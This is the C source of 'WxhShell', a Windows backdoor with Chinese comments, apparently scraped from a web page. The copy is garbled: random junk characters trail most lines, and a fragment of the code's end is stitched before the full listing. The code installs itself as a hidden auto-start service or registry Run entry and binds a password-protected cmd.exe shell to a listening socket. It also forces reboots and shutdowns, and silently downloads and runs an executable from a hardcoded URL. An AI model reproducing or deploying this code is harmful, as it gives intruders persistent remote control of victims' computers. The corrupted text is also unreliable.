  case 'd': { gk[aM~p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3kIN~/<R+7  
    if(Boot(SHUTDOWN)) Ym{tR,g7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?U5{Wa85D  
    else { 6?mibvK  
    closesocket(wsh); +[AQUc  
    ExitThread(0); % X+:o]T  
    } RLynE V;]  
    break; !N7s dY  
    } J^nBdofP  
  // 获取shell 8# >op6^  
  case 's': { F2dHH^  
    CmdShell(wsh); $@Rxrx_@M  
    closesocket(wsh); rEnQYz  
    ExitThread(0); U;V7 u/{  
    break; lL3kh J:%  
  } uK#4(eY=W  
  // 退出 gA5/,wDO  
  case 'x': { ~xfP:[u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7he,?T)vD  
    CloseIt(wsh); T`.O'!  
    break; Lh"<XYY  
    } f/NH:1)y  
  // 离开 iNz=e=+Si  
  case 'q': { 3n1;G8Nf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]Svt`0|}  
    closesocket(wsh); 1N^[.=  
    WSACleanup(); z8~NZ;A  
    exit(1); #`iB`|  
    break; .hP D$o  
        } I^]2K0+x x  
  } yw[g!W  
  } NP#w +Qw  
/k6MzFoid  
  // 提示信息 *{@Nq=fE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c9'vDTE%~  
}  &)Tdc  
  } OwUhdiG  
5\sd3<:+  
  return; +L| ?~p`V  
} /y#f3r+*2  
[f-?y mmT  
// shell模块句柄 mpEK (p  
int CmdShell(SOCKET sock) nFg~< $d  
{ !/*\}\'4  
STARTUPINFO si; r CHl?J  
ZeroMemory(&si,sizeof(si)); >~sI8czR*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -M~:lK]n   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; du lI&_x  
PROCESS_INFORMATION ProcessInfo; GR.^glG?6  
char cmdline[]="cmd"; u+e{Mim  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *74MWF@IY  
  return 0; }wjw:M  
} Mzw<{*:r  
cAqLE\h  
// 自身启动模式 vq0Tk bzs  
int StartFromService(void) 2dcV"lY  
{  E`0?  
typedef struct C8:f_mJU  
{ r1m]HFN  
  DWORD ExitStatus; ]z;I _-  
  DWORD PebBaseAddress; qQ/^@3tXL  
  DWORD AffinityMask; #7 $ H  
  DWORD BasePriority; mh{d8<Q2  
  ULONG UniqueProcessId; $Sx'sA2  
  ULONG InheritedFromUniqueProcessId; R)( T^V`{  
}   PROCESS_BASIC_INFORMATION; omu|yCK  
ufZDF=$7  
PROCNTQSIP NtQueryInformationProcess; 7P5)Z-K[  
Rz:]\jcIT/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gHEu/8E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b:m88AG  
gNrjo=  
  HANDLE             hProcess; UiP"Ixg6  
  PROCESS_BASIC_INFORMATION pbi; 6|%?tex  
f#"J]p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); { Fb*&|-n  
  if(NULL == hInst ) return 0; n)e 6>R ;  
vHc%z$-d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @#>rYAb8,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SC!RbW@3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FP`b>E qOH  
4JXeV&5Qk'  
  if (!NtQueryInformationProcess) return 0; 7~% ?#  
*NaB#;+|k`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xY8$I6  
  if(!hProcess) return 0; Jbg/0|1  
J26 VnK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A_ZY=jP   
 6f>{"'  
  CloseHandle(hProcess); M}-Rzc  
|?xN\O^#}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EIAc@$4  
if(hProcess==NULL) return 0; M,,bf[p$  
SrJGTuXg  
HMODULE hMod; -%CP@dAk  
char procName[255]; tBWrL{xLe  
unsigned long cbNeeded; P[ck84F/  
{.|CdqwY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I@~QV@U  
v`x.)S1  
  CloseHandle(hProcess); Tc:)- z[o  
FFpT~.  
if(strstr(procName,"services")) return 1; // 以服务启动 ({)+3]x  
fc3{sZE2M  
  return 0; // 注册表启动 [;yOBF  
} W:nef<WH  
On.{!:"I/  
// 主模块 rJT a  
int StartWxhshell(LPSTR lpCmdLine) q5+4S5R*^  
{  RVmh6m  
  SOCKET wsl; EU;9 *W<  
BOOL val=TRUE; eHZws`W  
  int port=0; LEf^cM=>  
  struct sockaddr_in door; D%SlAzZ3  
X-Kh(Z  
  if(wscfg.ws_autoins) Install(); )[IC?U:5I  
yYYSeH  
port=atoi(lpCmdLine); (gU!=F?#m  
T/~f~Zz  
if(port<=0) port=wscfg.ws_port; Bahm]2  
|F[+k e  
  WSADATA data; k5e;fA/w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 50wulGJud  
]7BvvQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MrFQ5:=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y =I'czg  
  door.sin_family = AF_INET;  A,<E\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fOGFq1D  
  door.sin_port = htons(port); P>D)7 V9Hh  
Pn1^NUMZJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Sy_G,+$\  
closesocket(wsl);  'KL0@l  
return 1; v$v-2y'%  
} -f^tE,-  
P4'Q/Sj  
  if(listen(wsl,2) == INVALID_SOCKET) { I6av6t}  
closesocket(wsl); p)-^;=<B3  
return 1; /Iokf@5  
} o#Dk& cH  
  Wxhshell(wsl); ()?(I?II  
  WSACleanup(); n;_sG>N  
v{N`.~,^  
return 0; u4?L 67x  
_< V)-Y  
} ^ VyKd  
AeM^73t  
// 以NT服务方式启动 BwpqNQN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MKk\ u9  
{ lb3b m)@:  
DWORD   status = 0; xm~`7~nFR  
  DWORD   specificError = 0xfffffff; _D&598xx  
|SSSH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /C:gKy4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s!zx} 5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G>}255qY  
  serviceStatus.dwWin32ExitCode     = 0; gZXi]m&  
  serviceStatus.dwServiceSpecificExitCode = 0; AV]2 euyn  
  serviceStatus.dwCheckPoint       = 0; my1@41 H  
  serviceStatus.dwWaitHint       = 0; J yK3{wYS  
3;9^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WE#^a6  
  if (hServiceStatusHandle==0) return; V2EUW!gn 2  
!9e=_mY  
status = GetLastError(); >uRI'24  
  if (status!=NO_ERROR) 'JE`(xD  
{ V=l0(03j~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ic<2QknmP  
    serviceStatus.dwCheckPoint       = 0; Wvh#:Z  
    serviceStatus.dwWaitHint       = 0; ebhXak[w  
    serviceStatus.dwWin32ExitCode     = status; YkSl^j[DHs  
    serviceStatus.dwServiceSpecificExitCode = specificError; &r /Mi%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WpP}stam/  
    return; V f&zL Sgr  
  } FD #8mg  
O0v}43J [  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F/{!tx  
  serviceStatus.dwCheckPoint       = 0; b8t7u  
  serviceStatus.dwWaitHint       = 0; 5C ]x!>kX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,&.!?0+  
} !;A\.~-!G  
.p[ux vp  
// 处理NT服务事件,比如:启动、停止 "&u@d~`-n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H*R"ntI?w  
{ ^^$s%{ep"  
switch(fdwControl) IEi^kJflU  
{ U7F!Z( 9  
case SERVICE_CONTROL_STOP: B9z?mt'|r)  
  serviceStatus.dwWin32ExitCode = 0; JH9J5%sp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Btn?N  
  serviceStatus.dwCheckPoint   = 0; 7n<{tM  
  serviceStatus.dwWaitHint     = 0; UI0VtR]   
  { j,eo2HaL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zu[su>\  
  } _V6ukd"B~  
  return; b8UO,fY q  
case SERVICE_CONTROL_PAUSE: #c!lS<z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Lk8ek}o'  
  break; $6 f3F?y7  
case SERVICE_CONTROL_CONTINUE: cm+Es6;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TD0 B%  
  break; W ac&b  
case SERVICE_CONTROL_INTERROGATE: J*M>6Q.)  
  break; va@Lz&sAE%  
}; wP@(?z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kTgEd]^&D  
} gwMNYMI  
F$]Pk|,  
// 标准应用程序主函数  =:pJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d#FQc18v}k  
{ ?:q*(EC<  
XRi8Gpg  
// 获取操作系统版本 Q1 97mN+0  
OsIsNt=GetOsVer(); 73;GW4,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CD~.z7,LC  
Xx:"4l.w.  
  // 从命令行安装 L="}E rmK  
  if(strpbrk(lpCmdLine,"iI")) Install(); $U~]=.n  
)Aqtew+A&  
  // 下载执行文件 h2R::/2.  
if(wscfg.ws_downexe) { g2_"zDiw2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) onzxx4bax  
  WinExec(wscfg.ws_filenam,SW_HIDE); ON(kt3.h  
}  qX{+oy5  
F JyT+  
if(!OsIsNt) { " H\k`.j  
// 如果时win9x,隐藏进程并且设置为注册表启动 q/,O\,  
HideProc(); g($2Dk_F2  
StartWxhshell(lpCmdLine); NBGH_6DROw  
} e\L8oOk#r  
else YOO+R{4(  
  if(StartFromService()) ?e 4/p  
  // 以服务方式启动 }|=|s f  
  StartServiceCtrlDispatcher(DispatchTable); rx|pOz,:  
else 4V`G,W4^J  
  // 普通方式启动 G"t5nHY\.  
  StartWxhshell(lpCmdLine); a:w#s}bL  
j#ab_3xH  
return 0; ` Sz}`+E  
} G 3ptx! D  
NgPk&niM  
bk[!8- b/a  
NzvXN1_%  
=========================================== +I28|*K"  
\9T7A&  
K$=zi}J W  
6'f;-2  
ckCE1e>s  
mC#>33{  
" J|73.&B  
`ERz\`d~Y;  
#include <stdio.h> M_DwUS 1?  
#include <string.h> +N U G  
#include <windows.h> abVmkdP_s  
#include <winsock2.h> eHUOU>&P]  
#include <winsvc.h> K[YyBE id  
#include <urlmon.h> ~D>p0+-c  
!4+<<(B=E  
#pragma comment (lib, "Ws2_32.lib") 1 'Dai`  
#pragma comment (lib, "urlmon.lib") pQB."[n  
%xLh Z\  
#define MAX_USER   100 // 最大客户端连接数 xAm6BB c  
#define BUF_SOCK   200 // sock buffer Ny/MJ#Lq  
#define KEY_BUFF   255 // 输入 buffer $F.a><1rY  
[$UI8tV  
#define REBOOT     0   // 重启 dM@1l1h/  
#define SHUTDOWN   1   // 关机 J{G?-+`  
C0Z=~Q%  
#define DEF_PORT   5000 // 监听端口 _+MJ%'>S  
]ZS OM\}  
#define REG_LEN     16   // 注册表键长度 mt.))#1  
#define SVC_LEN     80   // NT服务名长度 Y'X%Aw;`  
HGg@ _9tW  
// 从dll定义API )4;`^]F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +=)+'q]S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jebx40TA3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qH_Dc=~la  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "m>81-0  
 Vxt+]5X  
// wxhshell配置信息 BZ^}J!Q'*  
struct WSCFG { oXgcc*j  
  int ws_port;         // 监听端口 )+Pus~w  
  char ws_passstr[REG_LEN]; // 口令 BMf@M  
  int ws_autoins;       // 安装标记, 1=yes 0=no N'=gep0V@  
  char ws_regname[REG_LEN]; // 注册表键名 fc>L K7M  
  char ws_svcname[REG_LEN]; // 服务名 M',?u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 klhtKp_p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F:DrX_O%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _)-o1`*-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mX|ojZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7{Wny&[0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dAj$1Ke  
Znv,9-  
}; % & bY]w  
gBD]}vo-  
// default Wxhshell configuration *X}`PF   
struct WSCFG wscfg={DEF_PORT, sDV Q#}a  
    "xuhuanlingzhe", Cgc\ ah  
    1, =2x^nW  
    "Wxhshell", 7 X4LJf  
    "Wxhshell", 2:ylv<\$  
            "WxhShell Service", \73ch  
    "Wrsky Windows CmdShell Service", apxph2yvS  
    "Please Input Your Password: ", u]@['7  
  1, wz8yD8M  
  "http://www.wrsky.com/wxhshell.exe", ^<AwG=  
  "Wxhshell.exe" +"VP-s0  
    }; +"@ .8m  
(7*}-Uy[C  
// 消息定义模块 /Ci<xmP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;A[Q2(w+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $ME)#(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !|>"o7  
char *msg_ws_ext="\n\rExit."; 0m ? )ROaJ  
char *msg_ws_end="\n\rQuit."; ~Cjn7  
char *msg_ws_boot="\n\rReboot..."; a[TMDU;(/4  
char *msg_ws_poff="\n\rShutdown..."; T[j,UkgGo  
char *msg_ws_down="\n\rSave to "; u#SWj,X  
3+bt~J0  
char *msg_ws_err="\n\rErr!"; Aiea\j Bv  
char *msg_ws_ok="\n\rOK!"; t#"Grk8Mz&  
{l >hMxij  
char ExeFile[MAX_PATH]; +nGAz{&@r%  
int nUser = 0; Y6d@h? ht  
HANDLE handles[MAX_USER]; qIqM{#' ^  
int OsIsNt; a.6(K  
@=kSo -SX  
SERVICE_STATUS       serviceStatus; lw5`p,`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n'w.; q  
PFK  '$  
// 函数声明 WuW^GC{7  
int Install(void); g=o4Q< #^y  
int Uninstall(void); B7vpsSL  
int DownloadFile(char *sURL, SOCKET wsh); @s^-.z  
int Boot(int flag); #3d(M  
void HideProc(void); 7VI*N)OZ8  
int GetOsVer(void); @\I#^X5lv  
int Wxhshell(SOCKET wsl); Rws3V"{`[  
void TalkWithClient(void *cs); -Y;3I00(  
int CmdShell(SOCKET sock); *uvQ\.  
int StartFromService(void); Xn\jO>[Ef  
int StartWxhshell(LPSTR lpCmdLine); #R RRu2  
7=, ;h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N17RLz *\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); & ZB  
5*D/%]YsD  
// 数据结构和表定义 2GStN74Xr  
SERVICE_TABLE_ENTRY DispatchTable[] = ~y[7K{{ ;T  
{ 01o4Th m  
{wscfg.ws_svcname, NTServiceMain}, b<u3 hln%,  
{NULL, NULL} ws^ np  
}; xn|(9#1o  
q"_QQ~  
// 自我安装 5NLDYi@3  
int Install(void) {kAc(  
{ jlg(drTo  
  char svExeFile[MAX_PATH]; L4?IHNB  
  HKEY key; 5rUdv}.  
  strcpy(svExeFile,ExeFile); .3!1`L3  
^/=KK:n~  
// 如果是win9x系统,修改注册表设为自启动 k-""_WJ~^  
if(!OsIsNt) { 7j)8Djzp|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W`*r>`krVJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7T'B6`-Ox  
  RegCloseKey(key); r!{Up7uL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FU<Jp3<%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7vj2 `+r.  
  RegCloseKey(key); dGTsc/$  
  return 0; :p6M=  
    } gKCX|cULY  
  } FNId ;  
} K'I#W lg  
else { pFz`}?c0  
8sK9G` k  
// 如果是NT以上系统,安装为系统服务 uA#;G/$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {cw /!B  
if (schSCManager!=0) q6X1P" %.  
{ $xdy&  
  SC_HANDLE schService = CreateService eQvg7aO;  
  ( -o EW:~y  
  schSCManager, 5QO9Q]I#_\  
  wscfg.ws_svcname, ~.lPEA %%  
  wscfg.ws_svcdisp, _oDz-  
  SERVICE_ALL_ACCESS, vgN&K@hJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ROZF)|l  
  SERVICE_AUTO_START, @!d{bQd,  
  SERVICE_ERROR_NORMAL, *G 9V'9  
  svExeFile, k+l b@!  
  NULL, 9k[9P;"F:  
  NULL, 8qu6.  
  NULL, LB?u8>a' I  
  NULL, vEz"xz1j!]  
  NULL "Os_vlapHo  
  ); xFg>SJ7]  
  if (schService!=0) u,Kly<0j  
  { `n?DU;,  
  CloseServiceHandle(schService); R .2wqkY  
  CloseServiceHandle(schSCManager); Ef13Q]9|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8|58 H  
  strcat(svExeFile,wscfg.ws_svcname); YkQd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1]/.` ]1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g9 5`.V}  
  RegCloseKey(key); @2v_pJy^  
  return 0; z,%$+)K  
    } 2SR:FUV/  
  } t#eTV@-  
  CloseServiceHandle(schSCManager); !m?-!:  
} d9|<@A  
} 3|Xyl`i4o  
tcog'nAz  
return 1; }?v )N).kW  
} Z>#i**  
2Q:+_v  
// 自我卸载 k~FRD?[u  
int Uninstall(void) ~2khgZ  
{ ^@NU}S):yN  
  HKEY key; @>H75  
,U dVNA  
if(!OsIsNt) { 4x[S\,20  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 07=mj%yV  
  RegDeleteValue(key,wscfg.ws_regname); t}/( b/VD  
  RegCloseKey(key); x `)&J B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =kG@a(-  
  RegDeleteValue(key,wscfg.ws_regname); I?G :p+  
  RegCloseKey(key); r1RM  
  return 0; 5bpEYW+  
  } W-lN>]5}m  
} fZA4q0  
} }txX; "/  
else { c6]D-YNF G  
hp L;bM'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZLAy- 9^Y  
if (schSCManager!=0) R@k&SlL'`  
{ "kgdbAZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hc(OI|z~  
  if (schService!=0) I`4*+a'q&  
  { [Hh9a;.*}h  
  if(DeleteService(schService)!=0) { $5Ff1{  
  CloseServiceHandle(schService); %FIE\9  
  CloseServiceHandle(schSCManager); _b;{_g  
  return 0; y7Df_|Z  
  } N_[*H  
  CloseServiceHandle(schService); xe&i^+i  
  } 3WIk  
  CloseServiceHandle(schSCManager); m$T-s|SY  
} &H:(z4/  
} h2 ;F  
Bh]P{H%  
return 1; '$zIbQ:  
} RQu(Wu|m.  
$[=%R`~w  
// 从指定url下载文件 J!U}iD@occ  
int DownloadFile(char *sURL, SOCKET wsh) S\!ana])  
{ !H>R%g#28_  
  HRESULT hr; M?uC%x+S$_  
char seps[]= "/"; xAMW-eF?d  
char *token; AX/m25x  
char *file; w!clI8v/  
char myURL[MAX_PATH]; Z Sd4z:/  
char myFILE[MAX_PATH]; Pdt vU-(  
, ^f+^^  
strcpy(myURL,sURL); $aXer:  
  token=strtok(myURL,seps); JbQ) sp  
  while(token!=NULL) 63,H{  
  { I,@6J(9  
    file=token; <1\Nb{5  
  token=strtok(NULL,seps); *N'p~LJ  
  } "d5n \@[t  
OMg<V  
GetCurrentDirectory(MAX_PATH,myFILE); ?zHPJLv|Y  
strcat(myFILE, "\\"); L<{i ,'M  
strcat(myFILE, file); ThbGQ"/  
  send(wsh,myFILE,strlen(myFILE),0); zi*R`;_`,  
send(wsh,"...",3,0); naznayy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2'MZ s]??w  
  if(hr==S_OK) Ffta](Z;  
return 0; ,>+p-M8ZL  
else 9ahWIO %  
return 1; ^V Zk+'4  
[!]2 djc  
} L"*/:$EJL.  
m:o<XK[>  
// 系统电源模块 ;)^`3`  
int Boot(int flag) N7 $I^?<  
{ EV@X*| w  
  HANDLE hToken; V~;1IQd{  
  TOKEN_PRIVILEGES tkp; ve2u=eQ1  
bTs?!~q  
  if(OsIsNt) { yT9@!]^L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); % 0+j?>#X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1gN=-AC  
    tkp.PrivilegeCount = 1; R>mmoG}MQ[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]R9HyCl&a6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xw2[d+mB  
if(flag==REBOOT) { Av V|(K"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6h,(wo3Y  
  return 0; RMWHN:9  
}   =`s!;  
else { p hzKm9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /9p wZ%:<  
  return 0; !fR3 (=oN  
} +8d1|cB"  
  } vbe|hO""  
  else { Z+. '>  
if(flag==REBOOT) { #O} ,`[<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0-yp,G  
  return 0; .j<]mUY  
} q}#6e]t  
else { "v({ ,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~=RT*>G_  
  return 0; @x'"~"%7b  
} [o+q>|q  
} TOXfWEU3>  
e)#J1(j_  
return 1; c*L\_Vx+  
} iq( E'`d  
6){]1h"  
// win9x进程隐藏模块 e-#BDN(O  
void HideProc(void) nWYN Np?h  
{ E`de7  
n'kG] Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !1 8clL  
  if ( hKernel != NULL ) aa#Y=%^  
  { =sJ7=39  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EZ$>.iy{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -0{r>,&Mm  
    FreeLibrary(hKernel); #S*/bao#  
  } |\IN.W[EL  
OJ5#4qJ[  
return; MUREiL9L|  
} 4UvZ)^r  
Mh/dpb\Z  
// 获取操作系统版本 ,*hLFaR-  
int GetOsVer(void) pRIhFf  
{ p=GBUII #  
  OSVERSIONINFO winfo; g<f <Ip=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N&g3t%F  
  GetVersionEx(&winfo); nR}sNl1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5l2 ?  
  return 1; IIF] /Ek]  
  else 92x(u%~E  
  return 0; hYNY"VB  
} k_5L4c:"  
q?DTMKx  
// 客户端句柄模块 vZ&T}H~8  
int Wxhshell(SOCKET wsl) iwp{%FF  
{ CpeU5 o@  
  SOCKET wsh; 4N zwE(  
  struct sockaddr_in client; -$jEfi4I  
  DWORD myID; nv%rJy*w[  
fW3(&@  
  while(nUser<MAX_USER) I]<_rN8~o  
{ B!_mC<*4`X  
  int nSize=sizeof(client); S^>,~R.TX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MLje4  
  if(wsh==INVALID_SOCKET) return 1; ke]Lw  
rrqR}}l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LO khjHR  
if(handles[nUser]==0) dx &'fe*?  
  closesocket(wsh); `YLD`(\  
else D=m9fFz  
  nUser++; [nc4{0aT'  
  } w?wG(+X7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^*8G8'k;$  
: $Y9jR  
  return 0; E2@65b$  
} Q<'nE  
dzsmIV+  
// 关闭 socket m4&h>9. 8  
void CloseIt(SOCKET wsh) gL[yA?GoM  
{ "2P&X  
closesocket(wsh); WEQ1 Seq  
nUser--; +HeTtFo{M  
ExitThread(0); /F-qP.<D,r  
} Gh}LlX!w  
Y*>#T  
// 客户端请求句柄 Vq5k+3W+  
void TalkWithClient(void *cs) s(%oTKjt  
{ t.&Od;\[/  
;8*`{F[  
  SOCKET wsh=(SOCKET)cs; q<[_T  
  char pwd[SVC_LEN]; FsV'Cu@!U  
  char cmd[KEY_BUFF]; 8U>B~9:JO  
char chr[1]; L[H5NUG!  
int i,j; KJ=6n%6  
jN>{'TqW4  
  while (nUser < MAX_USER) { D@|W<i-  
jR2 2t`4  
if(wscfg.ws_passstr) { %Bn?n{ /  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V|/NB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ') gi%  
  //ZeroMemory(pwd,KEY_BUFF); o/6-3QUak  
      i=0; v!Pb`LCqK  
  while(i<SVC_LEN) { /<}m? k\  
>.'*) @vQi  
  // 设置超时 xA 1hfe.9  
  fd_set FdRead; WZ7BoDa7O  
  struct timeval TimeOut; h\.zdpR  
  FD_ZERO(&FdRead); Mjfx~I27  
  FD_SET(wsh,&FdRead); ~Ro9u p  
  TimeOut.tv_sec=8; s3O} 6  
  TimeOut.tv_usec=0; NufLzg{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sz {e''q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H]p!\H  
.ir<s>YM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q/I! }C4  
  pwd=chr[0]; `'c_=<&n  
  if(chr[0]==0xd || chr[0]==0xa) { HATA-M  
  pwd=0; gb> }v7  
  break; fX.>9H[w@~  
  } '0uh D.|G  
  i++; ZF|+W?0&%  
    } >`wV1^M6?  
[}8|R0KF  
  // 如果是非法用户,关闭 socket =%gRW5R%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y"Ql!5=  
} /.i.TQ]  
0-|byAh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rN<b?KE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H(2]7dRS%  
xw T%),  
while(1) { M57T2]8,  
w{uuSe  
  ZeroMemory(cmd,KEY_BUFF); T2Y,U {  
g'=B%eO$j:  
      // 自动支持客户端 telnet标准   . I'o  
  j=0; c`WHNky%j  
  while(j<KEY_BUFF) { (v|} \?L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WxJf{=-  
  cmd[j]=chr[0];  2KN6}  
  if(chr[0]==0xa || chr[0]==0xd) { ;M#_6Hd?qD  
  cmd[j]=0; ?a8(a zn  
  break; z$GoaS(  
  } (85Fv&a  
  j++; IWveW8qJ  
    } .YnFH$;$  
:.d:9Z|_  
  // 下载文件 \&3"<6xA  
  if(strstr(cmd,"http://")) { f=!VsR2o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {g~bQ2wDC  
  if(DownloadFile(cmd,wsh)) CI :`<PZ\-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t" 7yNs(I  
  else ;VNMD 6H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OhmQ,  
  } r"a5(Q;n  
  else { d,tU#N{Q6  
mBJeqG  
